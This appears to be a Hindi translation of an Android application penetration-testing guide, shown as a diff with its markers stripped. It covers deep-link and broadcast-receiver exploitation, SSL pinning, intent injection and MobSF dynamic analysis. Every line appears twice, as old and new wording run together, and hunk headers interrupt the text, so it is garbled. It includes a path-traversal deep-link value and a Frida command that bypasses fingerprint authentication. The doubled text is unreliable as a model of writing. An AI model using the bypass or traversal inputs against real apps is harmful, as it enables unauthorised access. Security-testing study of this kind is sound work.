एक सेवा मूल रूप से कुछ ऐसा है जो **डेटा प्राप्त कर सकता है**, **प्रसंस्कृत** कर सकता है और **एक प्रतिक्रिया** (या नहीं) **लौटा सकता है**। फिर, यदि कोई एप्लिकेशन कुछ सेवाएँ निर्यात कर रहा है, तो आपको **कोड** की **जांच** करनी चाहिए ताकि यह समझ सकें कि यह क्या कर रहा है और **गोपनीय जानकारी निकालने**, प्रमाणीकरण उपायों को बायपास करने के लिए इसे **गतिशील रूप से** **परीक्षण** करें...\ सेवा मूल रूप से कुछ ऐसा है जो **डेटा प्राप्त कर सकता है**, **प्रसंस्कृत** कर सकता है और **एक प्रतिक्रिया** (या नहीं) लौटाता है। फिर, यदि कोई एप्लिकेशन कुछ सेवाएँ निर्यात कर रहा है, तो आपको **कोड** की **जांच** करनी चाहिए ताकि यह समझ सकें कि यह क्या कर रहा है और **गोपनीय जानकारी निकालने**, प्रमाणीकरण उपायों को बायपास करने के लिए इसे **गतिशील रूप से** **परीक्षण** करें...\
[**Drozer के साथ सेवाओं का शोषण करना सीखें।**](drozer-tutorial/index.html#services) [**Drozer के साथ सेवाओं का शोषण करना सीखें।**](drozer-tutorial/index.html#services)
### **ब्रॉडकास्ट रिसीवर्स का शोषण** ### **प्रसारण रिसीवर्स का शोषण**
[**यदि आप ब्रॉडकास्ट रिसीवर क्या है, इसे ताज़ा करना चाहते हैं तो इसे पढ़ें।**](android-applications-basics.md#broadcast-receivers)\ [**यदि आप प्रसारण रिसीवर क्या है, इसे ताज़ा करना चाहते हैं तो इसे पढ़ें।**](android-applications-basics.md#broadcast-receivers)\
याद रखें कि एक ब्रॉडकास्ट रिसीवर की क्रियाएँ `onReceive` विधि में शुरू होती हैं। याद रखें कि एक प्रसारण रिसीवर की क्रियाएँ `onReceive` विधि में शुरू होती हैं।
एक ब्रॉडकास्ट रिसीवर एक प्रकार के संदेश की प्रतीक्षा करेगा। रिसीवर जिस तरह से संदेश को संभालता है, उसके आधार पर यह कमजोर हो सकता है।\ एक प्रसारण रिसीवर एक प्रकार के संदेश की प्रतीक्षा करेगा। रिसीवर जिस तरह से संदेश को संभालता है, उसके आधार पर यह कमजोर हो सकता है।\
[**Drozer के साथ ब्रॉडकास्ट रिसीवर्स का शोषण करना सीखें।**](#exploiting-broadcast-receivers) [**Drozer के साथ प्रसारण रिसीवर्स का शोषण करना सीखें।**](#exploiting-broadcast-receivers)
### **स्कीमों / डीप लिंक का शोषण** ### **स्कीमों / डीप लिंक का शोषण**
आप मैन्युअल रूप से गहरे लिंक की खोज कर सकते हैं, MobSF जैसे उपकरणों या [इस स्क्रिप्ट](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) का उपयोग करके।\ आप मैन्युअल रूप से गहरे लिंक की तलाश कर सकते हैं, MobSF जैसे उपकरणों का उपयोग करके या [इस स्क्रिप्ट](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) का उपयोग करके।\
आप **adb** या एक **ब्राउज़र** का उपयोग करके एक घोषित **स्कीम** को **खोल** सकते हैं: आप **adb** या **ब्राउज़र** का उपयोग करके एक घोषित **स्कीम** को **खोल** सकते हैं:
```bash ```bash
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name] adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
``` ```
_ध्यान दें कि आप **पैकेज नाम को छोड़ सकते हैं** और मोबाइल स्वचालित रूप से उस ऐप को कॉल करेगा जो उस लिंक को खोलना चाहिए._ _ध्यान दें कि आप **पैकेज नाम छोड़ सकते हैं** और मोबाइल स्वचालित रूप से उस ऐप को कॉल करेगा जो उस लिंक को खोलना चाहिए._
```html ```html
<!-- Browser regular link --> <!-- Browser regular link -->
<a href="scheme://hostname/path?param=value">Click me</a> <a href="scheme://hostname/path?param=value">Click me</a>
<!-- fallback in your url you could try the intent url --> <!-- fallback in your url you could try the intent url -->
<a href="intent://hostname#Intent;scheme=scheme;package=your.package.name;S.browser_fallback_url=http%3A%2F%2Fwww.example.com;end">with alternative</a> <a href="intent://hostname#Intent;scheme=scheme;package=your.package.name;S.browser_fallback_url=http%3A%2F%2Fwww.example.com;end">with alternative</a>
``` ```
**कोड निष्पादित किया गया** **कोड निष्पादित**
**ऐप में निष्पादित होने वाले कोड** को खोजने के लिए, उस गतिविधि पर जाएं जिसे डीप लिंक द्वारा बुलाया गया है और फ़ंक्शन **`onNewIntent`** को खोजें। **ऐप में निष्पादित होने वाले कोड** को खोजने के लिए, उस गतिविधि पर जाएं जिसे डीप लिंक द्वारा कॉल किया गया है और फ़ंक्शन **`onNewIntent`** को खोजें।
![](<../../images/image (436) (1) (1) (1).png>) ![](<../../images/image (436) (1) (1) (1).png>)
@ -388,8 +389,8 @@ _ध्यान दें कि आप **पैकेज नाम को छ
**पैरामीटर पथ में** **पैरामीटर पथ में**
आपको **यह भी जांचना चाहिए कि क्या कोई डीप लिंक URL के पथ के अंदर एक पैरामीटर का उपयोग कर रहा है** जैसे: `https://api.example.com/v1/users/{username}` , इस मामले में आप एक पथ यात्रा को मजबूर कर सकते हैं जैसे: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\ आपको **यह भी जांचना चाहिए कि क्या कोई डीप लिंक URL के पथ के अंदर पैरामीटर का उपयोग कर रहा है** जैसे: `https://api.example.com/v1/users/{username}` , इस मामले में आप एक पथ ट्रैवर्सल को मजबूर कर सकते हैं जैसे: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
ध्यान दें कि यदि आप एप्लिकेशन के अंदर सही एंडपॉइंट्स पाते हैं, तो आप **Open Redirect** (यदि पथ का एक भाग डोमेन नाम के रूप में उपयोग किया जाता है), **खाता अधिग्रहण** (यदि आप CSRF टोकन के बिना उपयोगकर्ता विवरण को संशोधित कर सकते हैं और कमजोर एंडपॉइंट ने सही विधि का उपयोग किया) और किसी अन्य कमजोरियों का कारण बन सकते हैं। इसके बारे में अधिक [जानकारी यहाँ](http://dphoeniixx.com/2020/12/13-2/) है। ध्यान दें कि यदि आप एप्लिकेशन के अंदर सही एंडपॉइंट्स पाते हैं, तो आप **ओपन रीडायरेक्ट** (यदि पथ का एक भाग डोमेन नाम के रूप में उपयोग किया जाता है), **खाता अधिग्रहण** (यदि आप CSRF टोकन के बिना उपयोगकर्ता विवरण को संशोधित कर सकते हैं और कमजोर एंडपॉइंट ने सही विधि का उपयोग किया) और किसी अन्य कमजोरियों का कारण बन सकते हैं। इसके बारे में अधिक [जानकारी यहाँ](http://dphoeniixx.com/2020/12/13-2/) है।
**अधिक उदाहरण** **अधिक उदाहरण**
@ -403,15 +404,15 @@ _ध्यान दें कि आप **पैकेज नाम को छ
#### प्रमाणपत्र सत्यापन #### प्रमाणपत्र सत्यापन
हम **प्रमाणपत्र सत्यापन** पर ध्यान केंद्रित करेंगे। सुरक्षा बढ़ाने के लिए सर्वर के प्रमाणपत्र की अखंडता की जांच की जानी चाहिए। यह महत्वपूर्ण है क्योंकि असुरक्षित TLS कॉन्फ़िगरेशन और असुरक्षित चैनलों के माध्यम से संवेदनशील डेटा का संचरण महत्वपूर्ण जोखिम पैदा कर सकता है। सर्वर प्रमाणपत्रों को सत्यापित करने और कमजोरियों को संबोधित करने के लिए विस्तृत चरणों के लिए, [**यह संसाधन**](https://manifestsecurity.com/android-application-security-part-10/) व्यापक मार्गदर्शन प्रदान करता है। हम **प्रमाणपत्र सत्यापन** पर ध्यान केंद्रित करेंगे। सुरक्षा बढ़ाने के लिए सर्वर के प्रमाणपत्र की अखंडता की जांच की जानी चाहिए। यह महत्वपूर्ण है क्योंकि असुरक्षित TLS कॉन्फ़िगरेशन और असुरक्षित चैनलों के माध्यम से संवेदनशील डेटा का संचरण महत्वपूर्ण जोखिम पैदा कर सकता है। सर्वर प्रमाणपत्रों की जांच करने और कमजोरियों को संबोधित करने के लिए विस्तृत चरणों के लिए, [**यह संसाधन**](https://manifestsecurity.com/android-application-security-part-10/) व्यापक मार्गदर्शन प्रदान करता है।
#### SSL पिनिंग #### SSL पिनिंग
SSL पिनिंग एक सुरक्षा उपाय है जहां एप्लिकेशन सर्वर के प्रमाणपत्र की जांच एक ज्ञात प्रति के खिलाफ करत है जो एप्लिकेशन के भीतर संग्रहीत होती है। यह विधि MITM हमलों को रोकने के लिए आवश्यक है। संवेदनशील जानकारी को संभालने वाले एप्लिकेशनों के लिए SSL पिनिंग को लागू करना अत्यधिक अनुशंसित है। SSL पिनिंग एक सुरक्षा उपाय है जहां एप्लिकेशन सर्वर के प्रमाणपत्र की जांच एक ज्ञात प्रति के खिलाफ करत है जो एप्लिकेशन के भीतर संग्रहीत होती है। यह विधि MITM हमलों को रोकने के लिए आवश्यक है। संवेदनशील जानकारी को संभालने वाले एप्लिकेशनों के लिए SSL पिनिंग को लागू करना अत्यधिक अनुशंसित है।
#### ट्रैफ़िक निरीक्षण #### ट्रैफ़िक निरीक्षण
HTTP ट्रैफ़िक का निरीक्षण करने के लिए, **प्रॉक्सी टूल का प्रमाणपत्र स्थापित करना आवश्यक है** (जैसे, Burp)। इस प्रमाणपत्र को स्थापित किए बिना, एन्क्रिप्टेड ट्रैफ़िक प्रॉक्सी के माध्यम से दिखाई नहीं दे सकता है। कस्टम CA प्रमाणपत्र स्थापित करने के लिए एक गाइड के लिए, [**यहाँ क्लिक करें**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)। HTTP ट्रैफ़िक का निरीक्षण करने के लिए, **प्रॉक्सी टूल का प्रमाणपत्र स्थापित करना आवश्यक है** (जैसे, Burp)। इस प्रमाणपत्र को स्थापित किए बिना, एन्क्रिप्टेड ट्रैफ़िक प्रॉक्सी के माध्यम से दिखाई नहीं दे सकता। कस्टम CA प्रमाणपत्र स्थापित करने के लिए एक गाइड के लिए, [**यहाँ क्लिक करें**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)।
**API स्तर 24 और उससे ऊपर** को लक्षित करने वाले एप्लिकेशनों को प्रॉक्सी के CA प्रमाणपत्र को स्वीकार करने के लिए नेटवर्क सुरक्षा कॉन्फ़िगरेशन में संशोधन की आवश्यकता होती है। एन्क्रिप्टेड ट्रैफ़िक का निरीक्षण करने के लिए यह कदम महत्वपूर्ण है। नेटवर्क सुरक्षा कॉन्फ़िगरेशन को संशोधित करने के लिए निर्देशों के लिए, [**इस ट्यूटोरियल**](make-apk-accept-ca-certificate.md) को देखें। **API स्तर 24 और उससे ऊपर** को लक्षित करने वाले एप्लिकेशनों को प्रॉक्सी के CA प्रमाणपत्र को स्वीकार करने के लिए नेटवर्क सुरक्षा कॉन्फ़िगरेशन में संशोधन की आवश्यकता होती है। एन्क्रिप्टेड ट्रैफ़िक का निरीक्षण करने के लिए यह कदम महत्वपूर्ण है। नेटवर्क सुरक्षा कॉन्फ़िगरेशन को संशोधित करने के लिए निर्देशों के लिए, [**इस ट्यूटोरियल**](make-apk-accept-ca-certificate.md) को देखें।
@ -470,62 +471,62 @@ Keystore के अंदर डेटा तक पहुँचने के
```bash ```bash
frida -U -f com.example.app -l frida-scripts/tracer-cipher.js frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
``` ```
### **फिंगरप्रिंट/बायोमेट्रिक्स बायपास** ### **Fingerprint/Biometrics Bypass**
िम्नलिखित Frida स्क्रिप्ट का उपयोग करके **फिंगरप्रिंट प्रमाणीकरण** को **बायपास** करना संभव हो सकता है जो Android अनुप्रयोग कुछ संवेदनशील क्षेत्रों की सुरक्षा के लिए कर रहे हैं: ीचे दिए गए Frida स्क्रिप्ट का उपयोग करके **फिंगरप्रिंट प्रमाणीकरण** को **बायपास** करना संभव हो सकता है जो Android अनुप्रयोग कुछ संवेदनशील क्षेत्रों की सुरक्षा के लिए कर रहे हैं:
```bash ```bash
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package> frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
``` ```
### **पृष्ठभूमि छवियाँ** ### **पृष्ठभूमि छवियाँ**
जब आप एक एप्लिकेशन को पृष्ठभूमि में डालते हैं, तो Android **एप्लिकेशन का स्नैपशॉट** स्टोर करता है ताकि जब इसे अग्रभूमि में पुनर्प्राप्त किया जाए, तो यह एप्लिकेशन से पहले छवि लोड करना शुरू कर दे, जिससे ऐसा लगता है कि एप्लिकेशन तेजी से लोड हुआ है जब आप एक एप्लिकेशन को पृष्ठभूमि में डालते हैं, तो Android **एप्लिकेशन का एक स्नैपशॉट** स्टोर करता है ताकि जब इसे अग्रभूमि में पुनर्प्राप्त किया जाए, तो यह एप्लिकेशन से पहले छवि लोड करना शुरू कर दे, जिससे ऐसा लगता है कि एप्लिकेशन तेजी से लोड हुआ।
हालांकि, यदि इस स्नैपशॉट में **संवेदनशील जानकारी** है, तो स्नैपशॉट तक पहुँच रखने वाला कोई भी व्यक्ति उस जानकारी को **चुरा सकता है** (ध्यान दें कि इसे एक्सेस करने के लिए आपको रूट की आवश्यकता है)। हालांकि, यदि इस स्नैपशॉट में **संवेदनशील जानकारी**ोती है, तो स्नैपशॉट तक पहुँच रखने वाला कोई व्यक्ति उस जानकारी को **चुरा सकता है** (ध्यान दें कि इसे एक्सेस करने के लिए आपको रूट की आवश्यकता है)।
स्नैपशॉट आमतौर पर यहाँ स्टोर होते हैं: **`/data/system_ce/0/snapshots`** स्नैपशॉट आमतौर पर यहाँ स्टोर होते हैं: **`/data/system_ce/0/snapshots`**
Android **FLAG_SECURE** लेआउट पैरामीटर सेट करके स्क्रीनशॉट कैप्चर को **रोकने** का एक तरीका प्रदान करता है। इस फ्लैग का उपयोग करके, विंडो की सामग्री को सुरक्षित माना जाता है, जिससे यह स्क्रीनशॉट में दिखाई नहीं देती या गैर-सुरक्षित डिस्प्ले पर नहीं देखी जा सकती। Android **FLAG_SECURE** लेआउट पैरामीटर सेट करके स्क्रीनशॉट कैप्चर को **रोकने** का एक तरीका प्रदान करता है। इस फ्लैग का उपयोग करके, विंडो की सामग्री को सुरक्षित के रूप में माना जाता है, जिससे यह स्क्रीनशॉट में दिखाई नहीं देती या सुरक्षित डिस्प्ले पर नहीं देखी जा सकती।
```bash ```bash
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
``` ```
### **Android Application Analyzer** ### **एंड्रॉइड एप्लिकेशन एनालाइज़र**
यह उपकरण आपको गतिशील विश्लेषण के दौरान विभिन्न उपकरणों का प्रबंधन करने में मदद कर सकता है: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer) यह उपकरण आपको डायनामिक एनालिसिस के दौरान विभिन्न उपकरणों का प्रबंधन करने में मदद कर सकता है: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
### Intent Injection ### इंटेंट इंजेक्शन
डेवलपर्स अक्सर प्रॉक्सी घटक जैसे गतिविधियाँ, सेवाएँ, और प्रसारण रिसीवर बनाते हैं जो इन Intents को संभालते हैं और उन्हें `startActivity(...)` या `sendBroadcast(...)` जैसे तरीकों में पास करते हैं, जो जोखिम भरा हो सकता है। डेवलपर्स अक्सर प्रॉक्सी घटक जैसे गतिविधियाँ, सेवाएँ, और ब्रॉडकास्ट रिसीवर्स बनाते हैं जो इन इंटेंट्स को संभालते हैं और उन्हें `startActivity(...)` या `sendBroadcast(...)` जैसे तरीकों में पास करते हैं, जो जोखिम भरा हो सकता है।
खतरा इस बात में है कि हमलावरों को गैर-निर्यातित ऐप घटकों को ट्रिगर करने या संवेदनशील सामग्री प्रदाताओं तक पहुँचने की अनुमति दी जा रही है, इन Intents को गलत दिशा में भेजकर। एक उल्लेखनीय उदाहरण `WebView` घटक है जो URLs को `Intent` वस्तुओं में `Intent.parseUri(...)` के माध्यम से परिवर्तित करता है और फिर उन्हें निष्पादित करता है, जो संभावित रूप से दुर्भावनापूर्ण Intent इंजेक्शन की ओर ले जा सकता है। खतरा इस बात में है कि हमलावरों को गैर-निर्यातित ऐप घटकों को ट्रिगर करने या संवेदनशील सामग्री प्रदाताओं तक पहुँचने की अनुमति दी जा रही है, इन इंटेंट्स को गलत दिशा में भेजकर। एक उल्लेखनीय उदाहरण `WebView` घटक है जो URLs को `Intent` ऑब्जेक्ट्स में `Intent.parseUri(...)` के माध्यम से परिवर्तित करता है और फिर उन्हें निष्पादित करता है, जो संभावित रूप से दुर्भावनापूर्ण इंटेंट इंजेक्शन की ओर ले जा सकता है।
### Essential Takeaways ### आवश्यक निष्कर्ष
- **Intent Injection** वेब के Open Redirect समस्या के समान है। - **इंटेंट इंजेक्शन** वेब के ओपन रीडायरेक्ट समस्या के समान है।
- शोषण में `Intent` वस्तुओं को अतिरिक्त के रूप में पास करना शामिल है, जिन्हें असुरक्षित संचालन निष्पादित करने के लिए पुनर्निर्देशित किया जा सकता है। - शोषण में `Intent` ऑब्जेक्ट्स को एक्स्ट्रा के रूप में पास करना शामिल है, जिन्हें असुरक्षित ऑपरेशनों को निष्पादित करने के लिए रीडायरेक्ट किया जा सकता है।
- यह गैर-निर्यातित घटकों और सामग्री प्रदाताओं को हमलावरों के लिए उजागर कर सकता है। - यह गैर-निर्यातित घटकों और सामग्री प्रदाताओं को हमलावरों के लिए उजागर कर सकता है।
- `WebView` का URL से `Intent` में रूपांतरण अनपेक्षित क्रियाओं को सुविधाजनक बना सकता है। - `WebView` का URL से `Intent` में रूपांतरण अनपेक्षित क्रियाओं को सुविधाजनक बना सकता है।
### Android Client Side Injections and others ### एंड्रॉइड क्लाइंट साइड इंजेक्शन और अन्य
संभवतः आप वेब से इस प्रकार की कमजोरियों के बारे में जानते हैं। आपको Android एप्लिकेशन में इन कमजोरियों के प्रति विशेष रूप से सतर्क रहना चाहिए: संभवतः आप वेब से इस प्रकार की कमजोरियों के बारे में जानते हैं। आपको एंड्रॉइड एप्लिकेशन में इन कमजोरियों के प्रति विशेष रूप से सतर्क रहना चाहिए:
- **SQL Injection:** गतिशील प्रश्नों या सामग्री-प्रदाताओं के साथ काम करते समय सुनिश्चित करें कि आप पैरामीटरयुक्त प्रश्नों का उपयोग कर रहे हैं। - **SQL इंजेक्शन:** डायनामिक क्वेरीज़ या सामग्री-प्रदाताओं के साथ काम करते समय सुनिश्चित करें कि आप पैरामीटराइज्ड क्वेरीज़ का उपयोग कर रहे हैं।
- **JavaScript Injection (XSS):** सुनिश्चित करें कि किसी भी WebViews के लिए JavaScript और प्लगइन समर्थन बंद है (डिफ़ॉल्ट रूप से बंद)। [More info here](webview-attacks.md#javascript-enabled). - **जावास्क्रिप्ट इंजेक्शन (XSS):** सुनिश्चित करें कि किसी भी WebViews के लिए जावास्क्रिप्ट और प्लगइन समर्थन बंद है (डिफ़ॉल्ट रूप से बंद)। [यहाँ अधिक जानकारी](webview-attacks.md#javascript-enabled)।
- **Local File Inclusion:** WebViews को फ़ाइल प्रणाली तक पहुँच बंद होनी चाहिए (डिफ़ॉल्ट रूप से सक्षम) - `(webview.getSettings().setAllowFileAccess(false);)`। [More info here](webview-attacks.md#javascript-enabled). - **स्थानीय फ़ाइल समावेश:** WebViews को फ़ाइल सिस्टम तक पहुँच की अनुमति बंद होनी चाहिए (डिफ़ॉल्ट रूप से सक्षम) - `(webview.getSettings().setAllowFileAccess(false);)`। [यहाँ अधिक जानकारी](webview-attacks.md#javascript-enabled)।
- **Eternal cookies**: कई मामलों में जब Android एप्लिकेशन सत्र समाप्त करता है, तो कुकी को रद्द नहीं किया जाता है या इसे डिस्क पर भी सहेजा जा सकता है। - **शाश्वत कुकीज़**: कई मामलों में जब एंड्रॉइड एप्लिकेशन सत्र समाप्त करता है, तो कुकी को रद्द नहीं किया जाता है या इसे डिस्क पर भी सहेजा जा सकता है।
- [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags) - [**कुकीज़ में सुरक्षित ध्वज**](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
--- ---
## Automatic Analysis ## स्वचालित विश्लेषण
### [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF) ### [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF)
**Static analysis** **स्थैतिक विश्लेषण**
![](<../../images/image (866).png>) ![](<../../images/image (866).png>)
**प्लिकेशन का कमजोरियों का आकलन** एक अच्छे वेब-आधारित फ्रंटेंड का उपयोग करके। आप गतिशील विश्लेषण भी कर सकते हैं (लेकिन आपको वातावरण तैयार करने की आवश्यकता है)। **प्लिकेशन का कमजोरियों का आकलन** एक अच्छे वेब-आधारित फ्रंटेंड का उपयोग करके। आप डायनामिक एनालिसिस भी कर सकते हैं (लेकिन आपको वातावरण तैयार करने की आवश्यकता है)।
```bash ```bash
docker pull opensecurity/mobile-security-framework-mobsf docker pull opensecurity/mobile-security-framework-mobsf
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
@ -537,14 +538,14 @@ MobSF आपको **diff/Compare** विश्लेषण करने और
### MobSF के साथ सहायक गतिशील विश्लेषण ### MobSF के साथ सहायक गतिशील विश्लेषण
**MobSF** **Android** में **गतिशील विश्लेषण** के लिए भी बहुत सहायक हो सकता है, लेकिन इस मामले में आपको अपने होस्ट पर MobSF और **genymotion** स्थापित करने की आवश्यकता होगी (एक VM या Docker काम नहीं करेगा)। _नोट: आपको **पहले genymotion में एक VM शुरू करना होगा** और **फिर MobSF।**_\ **MobSF** **Android** में **गतिशील विश्लेषण** के लिए भी बहुत सहायक हो सकता है, लेकिन इस मामले में आपको अपने होस्ट में MobSF और **genymotion** स्थापित करने की आवश्यकता होगी (एक VM या Docker काम नहीं करेगा)। _नोट: आपको **पहले genymotion में एक VM शुरू करना होगा** और **फिर MobSF।**_\
**MobSF गतिशील विश्लेषक** कर सकता है: **MobSF गतिशील विश्लेषक** कर सकता है:
- **अनुप्रयोग डेटा डंप करें** (URLs, लॉग, क्लिपबोर्ड, आपके द्वारा बनाए गए स्क्रीनशॉट, "**Exported Activity Tester**" द्वारा बनाए गए स्क्रीनशॉट, ईमेल, SQLite डेटाबेस, XML फ़ाइलें, और अन्य बनाई गई फ़ाइलें)। इनमें से सभी स्वचालित रूप से किया जाता है सिवाय स्क्रीनशॉट के, आपको तब दबाना होगा जब आप एक स्क्रीनशॉट चाहते हैं या आपको सभी निर्यातित गतिविधियों के स्क्रीनशॉट प्राप्त करने के लिए "**Exported Activity Tester**" पर दबाना होगा। - **अनुप्रयोग डेटा डंप करें** (URLs, लॉग, क्लिपबोर्ड, आपके द्वारा बनाए गए स्क्रीनशॉट, "**Exported Activity Tester**" द्वारा बनाए गए स्क्रीनशॉट, ईमेल, SQLite डेटाबेस, XML फ़ाइलें, और अन्य बनाई गई फ़ाइलें)। इनमें से सभी स्वचालित रूप से किया जाता है सिवाय स्क्रीनशॉट के, आपको तब दबाना होगा जब आप एक स्क्रीनशॉट चाहते हैं या आपको सभी निर्यातित गतिविधियों के स्क्रीनशॉट प्राप्त करने के लिए "**Exported Activity Tester**" पर दबाना होगा।
- **HTTPS ट्रैफ़िक कैप्चर करें** - **HTTPS ट्रैफ़िक कैप्चर करें**
- **Frida** का उपयोग करके **runtime** **जानकारी** प्राप्त करें - **Frida** का उपयोग करके **runtime** **जानकारी** प्राप्त करें
Android **संस्करण > 5** से, यह **स्वचालित रूप से Frida शुरू करेगा** और **ट्रैफ़िक** कैप्चर करने के लिए वैश्विक **proxy** सेटिंग्स सेट करेगा। यह केवल परीक्षण किए गए अनुप्रयोग से ट्रैफ़िक कैप्चर करेगा। Android **संस्करण > 5** से, यह **स्वचालित रूप से Frida शुरू करेगा** और **ट्रैफ़िक कैप्चर** करने के लिए वैश्विक **proxy** सेटिंग्स सेट करेगा। यह केवल परीक्षण किए गए अनुप्रयोग से ट्रैफ़िक कैप्चर करेगा।
**Frida** **Frida**
@ -552,7 +553,7 @@ Android **संस्करण > 5** से, यह **स्वचालित
MobSF **निर्यातित गतिविधियों** को **invoke** कर सकता है, उनके **स्क्रीनशॉट** ले सकता है और उन्हें रिपोर्ट के लिए **सहेज** सकता है। MobSF **निर्यातित गतिविधियों** को **invoke** कर सकता है, उनके **स्क्रीनशॉट** ले सकता है और उन्हें रिपोर्ट के लिए **सहेज** सकता है।
गतिशील परीक्षण **शुरू** करने के लिए हरे बटन पर दबाएं: "**Start Instrumentation**"। Frida स्क्रिप्ट द्वारा उत्पन्न लॉग देखने के लिए "**Frida Live Logs**" पर दबाएं और सभी हुक किए गए तरीकों, पास किए गए तर्कों और लौटाए गए मानों के आवाहनों को देखने के लिए "**Live API Monitor**" पर दबाएं (यह "Start Instrumentation" दबाने के बाद दिखाई देगा)।\ गतिशील परीक्षण **शुरू** करने के लिए हरे बटन पर दबाएं: "**Start Instrumentation**"। Frida स्क्रिप्ट द्वारा उत्पन्न लॉग देखने के लिए "**Frida Live Logs**" पर दबाएं और सभी हुक किए गए तरीकों, पास किए गए तर्कों और लौटाए गए मानों के आवाहनों को देखने के लिए "**Live API Monitor**" पर दबाएं (यह "Start Instrumentation" दबाने के बाद दिखाई देगा)।\
MobSF आपको अपन **Frida स्क्रिप्ट** लोड करने की भी अनुमति देता है (अपने शुक्रवार स्क्रिप्ट के परिणाम MobSF को भेजने के लिए `send()` फ़ंक्शन का उपयोग करें)। इसमें **कई पूर्व-लिखित स्क्रिप्ट** भी हैं जिन्हें आप लोड कर सकते हैं (आप `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` में और अधिक जोड़ सकते हैं), बस **उन्हें चुनें**, "**Load**" पर दबाएं और "**Start Instrumentation**" पर दबाएं (आप उस स्क्रिप्ट के लॉग "**Frida Live Logs**" के अंदर देख सकेंगे)। MobSF आपको अपने स्वयं के **Frida स्क्रिप्ट** लोड करने की भी अनुमति देता है (अपने शुक्रवार स्क्रिप्ट के परिणाम MobSF को भेजने के लिए `send()` फ़ंक्शन का उपयोग करें)। इसमें **कई पूर्व-लिखित स्क्रिप्ट** भी हैं जिन्हें आप लोड कर सकते हैं (आप `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` में और अधिक जोड़ सकते हैं), बस **उन्हें चुनें**, "**Load**" पर दबाएं और "**Start Instrumentation**" पर दबाएं (आप उस स्क्रिप्ट के लॉग "**Frida Live Logs**" के अंदर देख सकेंगे)।
![](<../../images/image (419).png>) ![](<../../images/image (419).png>)
@ -563,7 +564,7 @@ MobSF आपको अपनी **Frida स्क्रिप्ट** लोड
- **स्ट्रिंग तुलना कैप्चर करें**: यह बहुत उपयोगी हो सकता है। यह **2 स्ट्रिंग्स को दिखाएगा जो तुलना की जा रही हैं** और यदि परिणाम सत्य या असत्य था। - **स्ट्रिंग तुलना कैप्चर करें**: यह बहुत उपयोगी हो सकता है। यह **2 स्ट्रिंग्स को दिखाएगा जो तुलना की जा रही हैं** और यदि परिणाम सत्य या असत्य था।
- **कक्षा विधियों की गणना करें**: कक्षा का नाम डालें (जैसे "java.io.File") और यह कक्षा की सभी विधियों को प्रिंट करेगा। - **कक्षा विधियों की गणना करें**: कक्षा का नाम डालें (जैसे "java.io.File") और यह कक्षा की सभी विधियों को प्रिंट करेगा।
- **कक्षा पैटर्न खोजें**: पैटर्न द्वारा कक्षाओं की खोज करें - **कक्षा पैटर्न खोजें**: पैटर्न द्वारा कक्षाओं की खोज करें
- **कक्षा विधियों को ट्रेस करें**: **पूरी कक्षा को ट्रेस करें** (कक्षा की सभी विधियों के इनपुट और आउटपुट देखें)। याद रखें कि डिफ़ॉल्ट रूप से MobSF कई दिलचस्प Android API विधियों को ट्रेस करता है। - **कक्षा विधियों को ट्रेस करें**: **पूरी कक्षा** को **ट्रेस** करें (कक्षा की सभी विधियों के इनपुट और आउटपुट देखें)। याद रखें कि डिफ़ॉल्ट रूप से MobSF कई दिलचस्प Android API विधियों को ट्रेस करता है।
एक बार जब आप सहायक मॉड्यूल का चयन कर लेते हैं जिसे आप उपयोग करना चाहते हैं, तो आपको "**Start Intrumentation**" पर दबाना होगा और आप सभी आउटपुट "**Frida Live Logs**" में देखेंगे। एक बार जब आप सहायक मॉड्यूल का चयन कर लेते हैं जिसे आप उपयोग करना चाहते हैं, तो आपको "**Start Intrumentation**" पर दबाना होगा और आप सभी आउटपुट "**Frida Live Logs**" में देखेंगे।
@ -580,7 +581,7 @@ receivers
``` ```
**HTTP tools** **HTTP tools**
जब http ट्रैफ़िक कैप्चर किया जाता है, तो आप "**HTTP(S) Traffic**" के नीचे कैप्चर किए गए ट्रैफ़िक का एक खराब दृश्य देख सकते हैं या "**Start HTTPTools**" हरे बटन में एक बेहतर दृश्य देख सकते हैं। दूसरे विकल्प से, आप **captured requests** को **proxies** जैसे Burp या Owasp ZAP को **send** कर सकते हैं।\ जब http ट्रैफ़िक कैप्चर किया जाता है, तो आप "**HTTP(S) Traffic**" के नीचे कैप्चर किए गए ट्रैफ़िक का एक खराब दृश्य देख सकते हैं या "**Start HTTPTools**" हरे बटन में एक बेहतर दृश्य देख सकते हैं। दूसरे विकल्प से, आप **captured requests** को **proxies** जैसे Burp या Owasp ZAP पर **send** कर सकते हैं।\
इसके लिए, _Burp चालू करें -->_ _Intercept बंद करें --> MobSB HTTPTools में अनुरोध का चयन करें_ --> "**Send to Fuzzer**" दबाएं --> _proxy पता चुनें_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))। इसके लिए, _Burp चालू करें -->_ _Intercept बंद करें --> MobSB HTTPTools में अनुरोध का चयन करें_ --> "**Send to Fuzzer**" दबाएं --> _proxy पता चुनें_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))।
